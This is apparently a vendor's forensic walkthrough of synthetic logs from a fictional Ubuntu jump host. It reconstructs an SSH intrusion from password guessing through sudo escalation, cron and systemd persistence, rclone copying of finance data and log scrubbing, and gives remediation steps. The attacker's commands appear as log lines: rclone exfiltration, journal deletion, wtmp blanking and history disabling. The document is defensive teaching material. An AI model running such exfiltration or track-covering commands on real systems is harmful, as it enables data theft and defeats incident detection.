Linux Intrusion Investigation: A Log Walkthrough

TL;DR. This walkthrough uses the synthetic sample built into Linux Log Parser (click Try a sample). The host is fin-jump-01, an Ubuntu 24.04 jump host in UTC. In 52 minutes on 14 September 2026, a service account is taken over after password guessing, used to open a root shell, given two persistence mechanisms, used to copy finance data, and then partly scrubbed from the logs. Every step is visible in at least two independent sources. All names, addresses and events are fictional.

The evidence

The sample is what the collection guide produces: auth.log with two rotated generations (auth.log.1, auth.log.2.gz), syslog, system.journal and user-1000.journal, audit.log (ENRICHED, with an execve rule keyed exec), wtmp, btmp, lastlog, plus /etc/passwd, /etc/hostname and /etc/timezone. auth.log uses the RFC 3339 high-precision format of Ubuntu 24.04, so no year inference is needed.

Accounts: maria.chen (UID 1000), an administrator, and svc_backup (UID 1001), a service account.

Establishing normal

Before the incident, the pattern is regular. Every night at 02:00, svc_backup logs in from the backup server 192.0.2.20 with the same ED25519 key:

2026-09-14T02:00:03.432000+00:00 fin-jump-01 sshd[2348]: Accepted publickey for svc_backup from 192.0.2.20 port 50518 ssh2: ED25519 SHA256:Qm9ndXNL...

On the day itself, maria.chen logs in from 192.0.2.10 at 09:12:40 (logind session 6), runs sudo apt list --upgradable and disconnects at 09:41:08. Knowing what normal looks like is what makes the next hour stand out.

09:58 to 10:01: password guessing

From 09:58:03 to 10:01:39, 198.51.100.23 makes 15 attempts: admin, oracle, test, ubuntu and backup (accounts that do not exist, hence Invalid user), then root three times and svc_backup six times. Each attempt is one sshd PID with a pam_unix(sshd:auth): authentication failure line, a Failed password line and a [preauth] disconnect.

The same attempts are in the journal, in btmp and in audit.log as failed USER_AUTH records. The tool counts them per source rather than adding them up, so the finding says 15, not 45 or 60.

2026-09-14T10:02:11.482113+00:00 fin-jump-01 sshd[3071]: Accepted password for svc_backup from 203.0.113.45 port 51544 ssh2
2026-09-14T10:02:11.491113+00:00 fin-jump-01 sshd[3071]: pam_unix(sshd:session): session opened for user svc_backup(uid=1001) by svc_backup(uid=0)
2026-09-14T10:02:11.494113+00:00 fin-jump-01 systemd-logind[845]: New session 7 of user svc_backup.

Three things are wrong at once:

It comes about 30 seconds after the last failed attempt on the same account, but from a different address: 203.0.113.45. The password guessing then success finding covers this case explicitly: the password may have been guessed from one machine and used from another, or already known.
The address is new for this account; every earlier login came from 192.0.2.20.
The method is password, for an account that always used a key.

audit.log records the LOGIN event that sets auid=1001 ses=114. From here on, ses=114 is the thread to pull. The session view merges sshd PID 3071, logind session 7 and audit session 114 into one session.

10:02 to 10:04: reconnaissance and sudo

With the execve rule, audit.log shows id, uname and cat /etc/passwd under auid=1001 ses=114, then two sudo calls that auth.log also has:

10:03:30 sudo:   svc_backup : TTY=pts/1 ; PWD=/home/svc_backup ; USER=root ; COMMAND=list
10:04:02 sudo:   svc_backup : TTY=pts/1 ; PWD=/home/svc_backup ; USER=root ; COMMAND=/bin/bash
10:04:02 sudo:   pam_unix(sudo-i:session): session opened for user root(uid=0) by svc_backup(uid=1001)

COMMAND=list is sudo -l; the second is sudo -i, an interactive root shell. auth.log sees nothing more until the shell closes at 10:09:15.

10:05 to 10:12: inside the root shell, and persistence

auditd keeps seeing, because auid survives sudo. Records with uid=0 but auid=1001 ses=114:

10:05:10 passwd, then a USER_CHAUTHTOK record and the auth.log line password changed for svc_backup. The intruder changed the password of the account they came in with, which locks the owner out and keeps the access.
10:07:30 crontab -u svc_backup /tmp/.c. syslog confirms crontab[3141]: (root) REPLACE (svc_backup) and, at 10:08, cron reloading crontabs/svc_backup. The job runs at 10:30:01: CRON[3402]: (svc_backup) CMD (/home/svc_backup/.local/bin/sync-agent --quiet).
After leaving the root shell, as the user again: mkdir -p ~/.config/systemd/user, cp /tmp/.s/sync-agent.service into it, systemctl --user daemon-reload, then systemctl --user enable --now sync-agent.service. At 10:12:30 syslog shows the user manager systemd[3075] starting sync-agent.service, a unit that never ran before: a systemd user service.

The tool reports these under Cron or systemd persistence and Units started for the first time. The logs prove the change, not the content: the crontab and the unit file must be read on the host.

10:18 to 10:31: staging and copying data

10:18:40 sudo: svc_backup : ... USER=root ; COMMAND=/usr/bin/tar czf /tmp/.f.tgz /srv/finance/Q3 close
10:20:05 sudo: svc_backup : ... USER=root ; COMMAND=/usr/local/bin/rclone copy /srv/finance remote:exfil
10:31:44 sudo: svc_backup : ... USER=root ; COMMAND=/usr/local/bin/rclone copy /srv/finance/Q3 close remote:exfil

The sudo line cannot tell whether /srv/finance/Q3 close is one path or two. The audit EXECVE record can: its last argument is hex-encoded because it contains a space, and decodes to the single path /srv/finance/Q3 close. rclone appears under Tools often seen in intrusions. (The remote:exfil destination is a placeholder in this synthetic sample.)

10:44 to 10:45: covering tracks

10:44:10 sudo: ... COMMAND=/usr/bin/rm -f /var/log/journal/4f1c2a9d7e3b4c5d8a6f0e1d2c3b4a59/user-1001.journal
10:44:30 sudo: ... COMMAND=/usr/bin/python3 /tmp/.s/tidy.py /var/log/wtmp svc_backup

and, at 10:45:02 in audit.log, ln linking ~/.bash_history to /dev/null. Three consequences, three findings:

Journal gaps. The user journal of UID 1001 is gone, and with it the entries journald had numbered for it. The sequence numbers in system.journal skip over them. The user-manager lines (systemd[3075], sync-agent) are missing from the journal but still present in /var/log/syslog, because rsyslog had received a copy.
Blanked wtmp record. tidy.py overwrote svc_backup's login record with zeros. last no longer lists the session. The tool reports a zeroed record, and Interactive logins with no wtmp record for session 7. Yet lastlog still holds UID 1001's last login: 10:02:11 from 203.0.113.45.
Log-clearing commands. The rm of a journal file, the script run against wtmp and the history link are all listed, with the session they came from.

10:50:22: logout

Disconnected from user svc_backup 203.0.113.45, pam_unix(sshd:session): session closed, Removed session 7, and an audit USER_END with ses=114. The session lasted 48 minutes.

What the report says

Initial access: password login to svc_backup from 203.0.113.45 at 10:02:11 UTC, after 15 failed attempts from 198.51.100.23 against seven account names.
Privilege: sudo -l, then sudo -i at 10:04:02; commands in the root shell attributed through auid=1001 ses=114.
Persistence: user crontab (runs sync-agent --quiet, first run 10:30:01) and user systemd unit sync-agent.service (10:12:30). Password of svc_backup changed at 10:05.
Collection and transfer: tar of /srv/finance/Q3 close, rclone copies at 10:20 and 10:31.
Anti-forensics: user journal deleted, wtmp record blanked, shell history disabled. Each is contradicted by another source: syslog, lastlog, auth.log, audit.log.
Actions: disable the cron entry and the user unit, reset the account's password and keys, review sudo rights of svc_backup, check what rclone was configured to reach, and extend the search to hosts that trust this one.

Try it

Open Linux Log Parser, click Try a sample, and use the sample's incident window in the time range. The findings, the timeline filtered on svc_backup, and the session view for session 7 reproduce every step above. The pillar guide explains why each source sees what it sees.